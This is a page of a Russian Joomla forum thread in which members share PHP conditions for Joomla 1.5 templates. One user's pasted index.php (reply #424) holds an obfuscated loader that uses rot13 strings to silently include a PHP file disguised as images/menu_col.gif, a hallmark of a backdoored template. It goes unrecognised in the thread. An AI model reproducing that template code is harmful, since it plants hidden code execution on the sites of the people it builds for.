LiveInternetMail.ru
Форум русской поддержки Joomla!® CMS
19.06.2013, 12:40:54 *
Добро пожаловать, Гость. Пожалуйста, войдите или зарегистрируйтесь.
Вам не пришло письмо с кодом активации?

Войти
   
   Начало   Поиск Joomla 2.5 FAQ Joomla 1.5 FAQ Joomla 1.0 FAQ Правила форума Новости Joomla Войти Регистрация Помощь  
Страниц: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 17 18 19   Вниз
  Добавить закладку  |  Печать  
Автор Тема: Различные условия в шаблонах Joomla 1.5  (Прочитано 154880 раз)
0 Пользователей и 1 Гость смотрят эту тему.
beliyadm
Профи
********

Репутация: +1488/-61
Offline Offline

Пол: Мужской
Сообщений: 7392


Севастополь==Россия


« : 04.06.2009, 19:58:27 »

Основные моменты по созданию наиболее часто употребляемых условий в шаблонах для Joomla 1.5. Для простоты примеров будем работать с стандартным com_content

Для начала рассмотрим получение необходимых параметров, которые в Joomla 1.0 было достаточно объявить как глобальные
$Itemid JRequest::getInt'Itemid'1'get' ); //получем текущий ItemID, если не определен – то по умолчанию будет 1
$option JRequest::getVar('option'null); // получаем название текущего компонента, в нашем случае будет com_content либо NULL
$view JRequest::getVar('view'null); // получаем значение текущей вьюшки

Примечания:
 - Что такое $Itemid можно прочитать в статье http://joomlaforum.ru/index.php/topic,12816.0.html, по умолчанию значение для главной страницы равно 1, смотреть в модуле mainmenu первую ссылку, либо ссылку, опубликованную в состоянии «по умолчанию»

Какие могут быть значения для $view (Еще может добавляться параметр layout):
Section – если тип ссылки «содержимое раздела»
category – если тип ссылки «содержимое категории» либо переходим из раздела «содержимое раздела», либо тип «блог-содержимое категории»
article – режим просмотра полного текста материала
Как узнать необходимый параметр – отлючить стандартный (или сторонний) SEF и смотреть на URL (до полного просветления).

Теперь дальше рассмотрим различные ситуации, что могут понадобиться. Для начала HTML код по умолчанию (обычный трехколоночный макет без шапки и подвала, в центре место для pathway и вывода компонентов, слева\справа по позиции модулей)
Код:
<div class="leftcolumn"><jdoc:include type="modules" name="left" style="xhtml" /></div>
<div class="centercolumn"><jdoc:include type="modules" name="breadcrumb" /><jdoc:include type="component" /></div>
<div class="rightcolumn"><jdoc:include type="modules" name="right" style="xhtml" /></div>

1 – если на позиции RIGHT не опубликовано ни одного модуля, то не показываем определенный блок сайта
Код
<div class="leftcolumn"><jdoc:include type="modules" name="left" style="xhtml" /></div>
<?php if($this->countModules('right')) : ?>
<div class="centercolumn"><jdoc:include type="modules" name="breadcrumb" /><jdoc:include type="component" /></div>
<div class="rightcolumn"><jdoc:include type="modules" name="right" style="xhtml" /></div>
<?php else: ?>
<div class="centercolumn_full"><jdoc:include type="modules" name="breadcrumb" /><jdoc:include type="component" /></div>
<?php endif; ?>
Сакральный смысл – если на позиции нет ни одного модуля, мы не покажем вообще rightcolumn, но чтобы центральная колонка раздвинулась на всю оставшуюся ширину, мы к ней применяем отдельный класс centercolumn_full

2 – мы не хотим показывать pathway (хлебные крошки) на главной странице, а только на внутренних
Код
<div class="leftcolumn"><jdoc:include type="modules" name="left" style="xhtml" /></div>
<div class=”centercolumn”>
<?php if ($Itemid != '1') { ?>
<jdoc:include type="modules" name="breadcrumb" />
<?php } else { } ?>
<jdoc:include type="component" /></div>
<div class="rightcolumn"><jdoc:include type="modules" name="right" style="xhtml" /></div>

3 – хотим добавить в центральную колонку модуль (на позиции user1), который будет выводить баннеры (или другую информацию) под текстом статьи, но показывать его только в режиме просмотра полного текста статьи
Код
<div class="leftcolumn"><jdoc:include type="modules" name="left" style="xhtml" /></div>
<div class="centercolumn">
<jdoc:include type="modules" name="breadcrumb" />
<jdoc:include type="component" /></div>
<?php if (($option == 'com_content') && ($view == 'article')) { ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php } else {} ?>
<div class="rightcolumn"><jdoc:include type="modules" name="right" style="xhtml" /></div>

4 – хотим показывать правую колонку (целиком) только для авторизованного пользователя (там будут какие-нибудь модули), а гости будут видеть только левый блок и основной контент
Код
<div class="leftcolumn"><jdoc:include type="modules" name="left" style="xhtml" /></div>
<div class="centercolumn"><jdoc:include type="modules" name="breadcrumb" /><jdoc:include type="component" /></div>
<?php
$user = & JFactory::getUser();
if ($user->
get('guest') == '1') { } else { ?>
<div class="rightcolumn"><jdoc:include type="modules" name="right" style="xhtml" /></div>
<?php } ?>

5 – хотим авторизованному пользователю показать приветствие с его именем в правой колонке
Код
<div class="leftcolumn"><jdoc:include type="modules" name="left" style="xhtml" /></div>
<div class="centercolumn"><jdoc:include type="modules" name="breadcrumb" /><jdoc:include type="component" /></div>
<?php
$user = & JFactory::getUser();
echo ‘Привет тебе, о великий '.$user->username'; ?>
<div class="rightcolumn"><jdoc:include type="modules" name="right" style="xhtml" /></div>

6 – хотим в произвольном месте шаблона (ну к примеру в левой колонке над модулями) вывести заголовок текущей страницы
Код
<div class="leftcolumn">
<?php
$document = & JFactory::getDocument();
echo $document->
title; ?>
<jdoc:include type="modules" name="left" style="xhtml" /></div>
<div class="centercolumn"><jdoc:include type="modules" name="breadcrumb" /><jdoc:include type="component" /></div>
<div class="rightcolumn"><jdoc:include type="modules" name="right" style="xhtml" /></div>

7 – универсальный способ проверки на главную страницу
Код
$menu = & JSite::getMenu();
if ($menu->getActive() == $menu->getDefault()) {
// на главной
} else {
// тут всё что не на главной
}

Дополнительно:
Все необходимые параметры желательно объявить где-нибудь в index.php заранее и дальше только пользоваться. К примеру сразу после <body> вставить
$Itemid JRequest::getInt'Itemid'1'get' );
$option JRequest::getVar('option'null); 
$view JRequest::getVar('view'null); 
$document 
	
= & 
JFactory::getDocument();
$user = & JFactory::getUser();

Дополнительные ссылки:
Accessing the current user object
[howto] Создание шаблона для Joomla! 1.5
Шаблонизация для компонентов и модулей, на примере модуля patway
и другие ссылки в Joomla FAQ, относящиеся к разделу Шаблоны - установка, создание, проблемные вопросы (много из Joomla 1.0, но много и схожих приемов\примеров)


P.S. естественно, что это не открывает Америки и список примеров далеко не полный, но для базовой основы в качестве ответов на 90% вопросов и пищи для размышлений годится
« Последнее редактирование: 09.02.2010, 13:29:07 от beliyadm » Записан
 
mxxx
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Пол: Мужской
Сообщений: 95



« Ответ #421 : 28.12.2011, 12:23:46 »

спасибо решил

Код:
<?php
$option = JRequest::getVar( 'option' );
$id = JRequest::getInt( 'id' );
?>
<?php  if($option == 'com_content' && !$id) : ?>
 <div class="content">
  <jdoc:include type="modules" name="catalog" style="raw" />
 </div>
<?php endif ?>
<?php $menu = & JSite::getMenu();
if ($menu->getActive()!== $menu->getDefault()) { ?>
 <div class="content shadow" style="background-color:#FFF;"><div class="middle">
  <jdoc:include type="component" />
 </div></div>
<?php } ?>
 <div class="rightBar">
  <jdoc:include type="modules" name="right" style="raw" />
 </div>
Записан
b2z
Support Team
*****

Репутация: +328/-0
Offline Offline

Пол: Мужской
Сообщений: 4076


Contra Gaming Community


« Ответ #422 : 28.12.2011, 13:08:20 »

Есть кстати небольшая оптимизация вот этого кода:

Код
$menu = &JSite::getMenu();
 
if ( $menu->getActive() == $menu->getDefault() ) {
<jdoc:include type="modules" name="right" style="xhtml" />
} else {
<jdoc:include type="component" />
}
 

Можно сравнивать не объекты циликом, а только id:

Код
$menu = &JSite::getMenu();
 
if ( $menu->getActive()->id == $menu->getDefault()->id ) {
<jdoc:include type="modules" name="right" style="xhtml" />
} else {
<jdoc:include type="component" />
}

Должно сработать Azn
Записан
altvvc
Давно я тут
****

Репутация: +10/-0
Offline Offline

Пол: Мужской
Сообщений: 362



« Ответ #423 : 28.12.2011, 14:55:29 »

Можно просто на главной количество выводимых новостей поставить на 0 (ноль) и все...
Записан
renault
Осваиваюсь на форуме
***

Репутация: +1/-0
Offline Offline

Сообщений: 198


« Ответ #424 : 30.12.2011, 21:57:08 »

далеко не всегда, очень далеко
у меня с шаблоном серьезная проблема, в целом картина выглядит так, может у меня где-то выполняет в коде условие, что только левая и центральая колонка должны показываться, а правая вниз спускаться?

(20% левая колонка) + (80 % центральная колонка)
----------------------------------------------------
и на уровень ниже по правому борту-
                                          (20% правая колонка)

Код для Index.php шаблона
Код:
<?php
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<!--[if lte IE 7]>
<link rel="stylesheet" href="templates/<?php echo $this->template ?>/css/ie7.css" type="text/css" <?php include_once('html/pagination.php');?> />
<![endif]-->

</head>
<body id="page_bg">
<div id="top">
    <div class="pill_m">
<div id="pillmenu">
<jdoc:include type="modules" name="user3" />
</div>
</div>
</div>
<div id="header">
<div id="logo">
<a href="index.php"><?php echo $mainframe->getCfg('sitename') ;?></a>
<jdoc:include type="modules" name="user4" />

</div>
</div>
       <!--  -->
<div class="center">
<div id="wrapper">
<div id="content">

<div id="leftcolumn">

<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
            <?php endif; ?>
<jdoc:include type="modules" name="left" style="rounded" />

</div>


<div id="maincolumn">

<div class="nopad">
                    <jdoc:include type="message" />
<?php if($this->params->get('showComponent')) : ?>
<jdoc:include type="component" />
<?php endif; ?>
</div>

<div class="clr"></div>

    </div>



    </div>

    </div>

</div>
<div id="rightcolumn">

<jdoc:include type="modules" name="right" style="rounded" />
</div>


<div id="footer">
<p><jdoc:include type="module" style="footer" />
<?php echo JText_('Powered by')?> <a href="http://freejoomlatemp.ru">Joomla!</a>.
            С помощью <a href="http://art-desig.ru/">CSS</a>.
            <jdoc:include type="modules" name="debug" />
</p>
</div>
</body>
</html>

Записан
beliyadm
Профи
********

Репутация: +1488/-61
Offline Offline

Пол: Мужской
Сообщений: 7392


Севастополь==Россия


« Ответ #425 : 30.12.2011, 22:47:42 »

Ну так ищите в своем коде if else, я там нашел длинную строку с кучей условий, что там отрабатывается - не смотрел, там и показ right и проверка на form и подключение файлов, какие то шаблоны
Записан
ASkidkin
Осваиваюсь на форуме
***

Репутация: +2/-0
Offline Offline

Сообщений: 103


« Ответ #426 : 24.02.2012, 20:58:29 »

а как написать условие что если сейчас открыта страница например www.site.ru то выводится модуль такой-то?, ну то есть зависимость от точного адреса текущей страницы
Записан
TakT
Осваиваюсь на форуме
***

Репутация: +8/-0
Offline Offline

Пол: Мужской
Сообщений: 118


« Ответ #427 : 24.02.2012, 21:01:27 »

а как написать условие что если сейчас открыта страница например www.site.ru то выводится модуль такой-то?, ну то есть зависимость от точного адреса текущей страницы
Ну если я правильно понял, Вам нужно проверять параметры которые передаются в ссылки, для того чтобы определить на какой странице вы находитесь!
Записан
ASkidkin
Осваиваюсь на форуме
***

Репутация: +2/-0
Offline Offline

Сообщений: 103


« Ответ #428 : 24.02.2012, 21:07:26 »

думаю вы правильно поняли, а как написать эту проверку, я просто в php не очень, поэтому ждал здесь конкретного ответа что написать, спасибо
Записан
TakT
Осваиваюсь на форуме
***

Репутация: +8/-0
Offline Offline

Пол: Мужской
Сообщений: 118


« Ответ #429 : 24.02.2012, 21:10:36 »

Ну для того чтобы подсказать конеретный код, необходимо увидить вполне конкретную ссылку на ту страницу на которой должен отображаться модуль.
А почему бы вам не привязать нужный вам модуль к определенному пункту меню, в админ панели Joomla эта возможнось уже давно реализованна?
Записан
Dorfman
Живу я здесь
******

Репутация: +77/-4
Offline Offline

Пол: Мужской
Сообщений: 1113


Почти влез...


« Ответ #430 : 26.02.2012, 15:58:33 »

А почему бы вам не привязать нужный вам модуль к определенному пункту меню, в админ панели Joomla эта возможнось уже давно реализованна?
А AdvancedModuleManager ваще упростит вывод, и заморачиваться с проверкой адресов не нужно. Да и ещё куча фич всяких добавится - можно хоть для конкретной статьи вставлять - просто выбираешь название статьи - и всё, никаких адресов и т.д...
Записан
apelsin
Осваиваюсь на форуме
***

Репутация: +0/-1
Offline Offline

Сообщений: 133


« Ответ #431 : 27.02.2012, 09:34:46 »

Подскажите как сделать проверку php чтобы определить пользователя с правами автора?
Записан
b2z
Support Team
*****

Репутация: +328/-0
Offline Offline

Пол: Мужской
Сообщений: 4076


Contra Gaming Community


« Ответ #432 : 27.02.2012, 12:14:44 »

Подскажите как сделать проверку php чтобы определить пользователя с правами автора?
Код
$user = JFactory::getUser();
if ($user->usertype == 'Author') {
// Это автор
}
Записан
ASkidkin
Осваиваюсь на форуме
***

Репутация: +2/-0
Offline Offline

Сообщений: 103


« Ответ #433 : 27.02.2012, 13:32:45 »

А AdvancedModuleManager ваще упростит вывод, и заморачиваться с проверкой адресов не нужно. Да и ещё куча фич всяких добавится - можно хоть для конкретной статьи вставлять - просто выбираешь название статьи - и всё, никаких адресов и т.д...
Дело в том что мне не модуль выводить нужно, с этим проблем нет, мне нужно чтоб на главной странице сайта выводилась правая колонка в шаблоне а на остальных страницах выводить левый сайдбар, но проблема в том что при переходе на ссылку новости с главной страницы в ссылке этой новости есть тот же itemid что и у главной Itemid = 1 поэтому оно принмает их за главную страницу, вот я и решил делать зависимость от абсолютного адреса страницы
Записан
apelsin
Осваиваюсь на форуме
***

Репутация: +0/-1
Offline Offline

Сообщений: 133


« Ответ #434 : 01.03.2012, 13:40:50 »

А как сделать проверку для определения суперадминистратора в Joomla 1.5?
Записан
b2z
Support Team
*****

Репутация: +328/-0
Offline Offline

Пол: Мужской
Сообщений: 4076


Contra Gaming Community


« Ответ #435 : 01.03.2012, 15:05:34 »

А как сделать проверку для определения суперадминистратора в Joomla 1.5?
По аналогии:

Код
$user = JFactory::getUser();
if ($user->usertype == 'Super Administrator') {
// Это суперадминистратор
}

Дело в том что мне не модуль выводить нужно, с этим проблем нет, мне нужно чтоб на главной странице сайта выводилась правая колонка в шаблоне а на остальных страницах выводить левый сайдбар, но проблема в том что при переходе на ссылку новости с главной страницы в ссылке этой новости есть тот же itemid что и у главной Itemid = 1 поэтому оно принмает их за главную страницу, вот я и решил делать зависимость от абсолютного адреса страницы
Сделайте проверку на главную страницу. В первом посте все описано.
Записан
sasha777
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 79


« Ответ #436 : 10.03.2012, 14:08:01 »

подскажите, а как код из начала темы номер 3 "хотим добавить в центральную колонку модуль (на позиции user1), который будет выводить баннеры (или другую информацию) под текстом статьи, но показывать его только в режиме просмотра полного текста статьи" сделать в обратном контексте? т. е., чтобы модуль в позиции user 1 выводился на главной, а при открытии статьи с главной не выводился?
Код:
<div class="leftcolumn"><jdoc:include type="modules" name="left" style="xhtml" /></div>
<div class="centercolumn">
<jdoc:include type="modules" name="breadcrumb" />
<jdoc:include type="component" /></div>
<?php if (($option == 'com_content') && ($view == 'article')) { ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php } else {} ?>
<div class="rightcolumn"><jdoc:include type="modules" name="right" style="xhtml" /></div>
Записан
b2z
Support Team
*****

Репутация: +328/-0
Offline Offline

Пол: Мужской
Сообщений: 4076


Contra Gaming Community


« Ответ #437 : 12.03.2012, 11:34:01 »

Код:
<?php if (($option == 'com_content') && ($view == 'article')) { ?>
поменять на

Код:
<?php if (($option == 'com_content') && ($view == 'frontpage')) { ?>

А вообще, это просто проверка на главную страницу. В первом посте описано!
Записан
sasha777
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 79


« Ответ #438 : 12.03.2012, 14:50:18 »

спасибо, попробуем)
Записан
sasha777
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 79


« Ответ #439 : 14.03.2012, 17:22:08 »

bzzik - при этом выводятся два дубля статьи, а модуль в позиции "user 1" остается
Записан
b2z
Support Team
*****

Репутация: +328/-0
Offline Offline

Пол: Мужской
Сообщений: 4076


Contra Gaming Community


« Ответ #440 : 14.03.2012, 18:01:47 »

Быть такого не может. Пожите Ваш index.php
Записан
sasha777
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 79


« Ответ #441 : 14.03.2012, 18:13:54 »

Код:
<td valign="top" class="mainbody"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                 <tr>
                   <td>
                   <jdoc:include type="modules" name="breadcrumb" />
                   <jdoc:include type="component" /></div>
                   <?php if (($option == 'com_content') && ($view == 'frontpage')) { ?>
                   <jdoc:include type="modules" name="user1" style="xhtml" />
                   <?php } else {} ?>
                   </td>
                   <td><jdoc:include type="modules" name="user2" style="xhtml" /></td>
                 </tr>
               </table>

понимаю, что возможно вставляю совсем не туда. при такой постановке модуль из user 1 пропал, а статьи при раскрытии выводятся 2 раза
Записан
regina68
Новичок
*

Репутация: +0/-0
Offline Offline

Сообщений: 5


« Ответ #442 : 14.03.2012, 18:39:51 »

Люди добрые вся надежда на вас. Уже  кончились все идеи.  Как запретить выводить список статей определенной  категорий,
Надо Категория1 ----- нажимаешь должна быть  ссылка #, т.е. ничего не должно происходить.
Материал11 -вывод !
Материал12 -- вывод
Материал13 -- вывод

  Надо Категория2   это узел ничего не происходит
           Материал21 -вывод !
           Материал22 -вывод !



Вот это выбирала.(Этот шаблон отображает материалы категории в формате блога.)
Сейчас Категория1  а далее выводятся все материалы из этой  категорий, а так мне не надо
Текст материала1
Текст материала2 --
текст материала3 --
« Последнее редактирование: 14.03.2012, 20:39:03 от regina68 » Записан
Andei
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 184


« Ответ #443 : 16.03.2012, 15:07:14 »

Здравствуйте. Есть пункт меню с типом внешняя ссылка (города). На этот пункт меню я не могу привязать нужные мне модули. Какое нужно условие, чтобы это стало возможным?
З.Ы. Пункты меню имеют внешнюю ссылку на фильтр компонента Eventlist.
« Последнее редактирование: 16.03.2012, 19:58:16 от Andei » Записан
userxp
Администратор
*******

Репутация: +401/-6
Offline Offline

Пол: Мужской
Сообщений: 2257


Злой и ужасный бармалей


« Ответ #444 : 16.03.2012, 19:35:17 »

На этот пункт меню я не могу привязать нужные мне меню.
белиберда какая-то... в смысле?
Записан
Andei
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 184


« Ответ #445 : 16.03.2012, 19:57:20 »

Ой, опечатка, в смысле не могу привязать модули))
Записан
userxp
Администратор
*******

Репутация: +401/-6
Offline Offline

Пол: Мужской
Сообщений: 2257


Злой и ужасный бармалей


« Ответ #446 : 16.03.2012, 20:46:29 »

что означает "не могу"?
Записан
Andei
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 184


« Ответ #447 : 17.03.2012, 11:47:32 »

Ну вот например, у меня есть сайт, на всех его страницах есть модуль меню, но есть ещё страницы у которых тип меню указан как внешняя ссылка, для этих страниц я хочу поставить другое меню. У меня это не выходит, я вижу тоже меню что и на остальных страницах. Несмотря на то что я убираю отображение нужных мне страниц из одного модуля и добавляю их в другой модуль.
Записан
b2z
Support Team
*****

Репутация: +328/-0
Offline Offline

Пол: Мужской
Сообщений: 4076


Contra Gaming Community


« Ответ #448 : 19.03.2012, 12:55:13 »

Код:
<td valign="top" class="mainbody"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                 <tr>
                   <td>
                   <jdoc:include type="modules" name="breadcrumb" />
                   <jdoc:include type="component" /></div>
                   <?php if (($option == 'com_content') && ($view == 'frontpage')) { ?>
                   <jdoc:include type="modules" name="user1" style="xhtml" />
                   <?php } else {} ?>
                   </td>
                   <td><jdoc:include type="modules" name="user2" style="xhtml" /></td>
                 </tr>
               </table>

понимаю, что возможно вставляю совсем не туда. при такой постановке модуль из user 1 пропал, а статьи при раскрытии выводятся 2 раза
Странно, код корректен! И совсем непонятно, как это два раза выводится статья. Единственное, у Вас там </div> какой-то, он там точно должен быть?
Записан
sasha777
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 79


« Ответ #449 : 19.03.2012, 15:55:59 »

Странно, код корректен! И совсем непонятно, как это два раза выводится статья. Единственное, у Вас там </div> какой-то, он там точно должен быть?

Да, див не нужный, но и если его убрать ситуация та же. Если впереди оставить User1, то при открытии статьи выводятся и User1 и статья два раза. Может конкретно к моему сайту не подходит? На главной вверху баннер (user1), под ним категория новости в виде блога, ниже баннер в позиции Banner. Статьи в "новостях" в основном с "Показать полностью" плюс название, как ссылка на полный текст. При открытии статьи открывается сама статья +user1 + banner (что как раз и не нужно, т.к. user1 занимает >500px в высоту). Если открывать статью из меню новости (блог), та же ситуация.
Записан
Litron
Захожу иногда
**

Репутация: +1/-0
Offline Offline

Пол: Мужской
Сообщений: 19



« Ответ #450 : 19.03.2012, 19:07:10 »

Друзья, помогите с форумом Kunena!
Как прописать условие, чтобы при открытии форума использовался определенный класс CSS, а при открытии остального - другой класс?

Спасибо.
Записан
Страниц: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 17 18 19   Вверх
  Добавить закладку  |  Печать  
 
Перейти в:  

Рейтинг@Mail.ru Rambler Top100 Powered by SMF 1.1.18 | SMF © 2006, Simple Machines

Joomlaforum.ru is not affiliated with or endorsed by the Joomla! Project or Open Source Matters.
The Joomla! name and logo is used under a limited license granted by Open Source Matters
the trademark holder in the United States and other countries.

LiveInternet